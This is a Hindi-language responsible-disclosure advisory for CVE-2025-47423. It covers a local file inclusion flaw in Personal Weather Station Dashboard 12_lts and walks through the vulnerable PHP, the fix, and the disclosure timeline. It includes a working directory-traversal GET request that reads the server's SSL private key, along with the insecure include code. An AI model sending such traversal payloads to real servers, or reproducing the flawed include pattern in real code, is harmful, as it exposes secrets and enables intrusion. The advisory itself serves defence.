
CVE-2025-47423 का विस्तृत खुलासा: Personal Weather Station Dashboard 12_lts में स्थानीय फ़ाइल समावेशन। इसमें PoC, असुरक्षित कोड विश्लेषण, और रक्षात्मक सीखने के लिए सुरक्षित सुधार सिफारिशें शामिल हैं।
खोजकर्ता: Matthew Eagle
स्थिति: सार्वजनिक प्रकटीकरण
रिपोर्ट की तिथि: 2025-05-05
CVE ID: CVE-2025-47423
Personal Weather Station Dashboard संस्करण 12_lts में एक लोकल फ़ाइल इन्क्लूज़न (LFI) कमज़ोरी है जो अनधिकृत रिमोट हमलावरों को सर्वर पर मनमानी फ़ाइलें पढ़ने की अनुमति देती है। इस दोष का शोषण करने से निजी SSL कुंजियों सहित संवेदनशील फ़ाइलों तक पहुँच प्राप्त होती है, जिससे HTTPS कनेक्शनों की गोपनीयता और अखंडता संभावित रूप से प्रभावित हो सकती है।
/others/_test.phptest (GET के माध्यम से)यह दोष रिमोट हमलावरों को निम्नलिखित की अनुमति देता है:
server.key)CVSS: 5.8 मध्यम
GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com
प्रतिक्रिया:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----
$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);
डायरेक्टरी ट्रैवर्सल को रोकने के लिए str_replace अपर्याप्त है।
basename() के साथ इनपुट को सैनिटाइज़ करें और अनुमत फ़ाइलों के विरुद्ध जाँचें$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';
if (!in_array($script, $allowed_tests)) {
die("Invalid test file.");
}
include(__DIR__ . '/scripts/' . $script);
| तिथि | घटना |
|---|---|
| 2025-05-05 | PWS Dashboard मॉडरेटरों को कमज़ोरी की रिपोर्ट की गई |
| 2025-05-06 | पावती प्राप्त हुई और परीक्षण देखा गया |
| 2025-05-07 | MITRE के माध्यम से CVE-2025-47423 आरक्षित किया गया |
| 2025-06-07 | सार्वजनिक पैच और CVE लिस्टिंग की पुष्टि हुई |
यदि आप Personal Weather Station Dashboard 12_lts चला रहे हैं, तो आपको चाहिए:
_test.php को हटाएँ या अपडेट करेंकमज़ोरी की खोज और ज़िम्मेदारीपूर्वक प्रकटीकरण Matthew Eagle द्वारा किया गया
संपर्क: [email protected]
प्रकटीकरण ज़िम्मेदार प्रकटीकरण दिशानिर्देशों के अनुरूप समन्वित किया गया। यह दस्तावेज़ शैक्षिक और रक्षात्मक उद्देश्यों के लिए जारी किया गया है।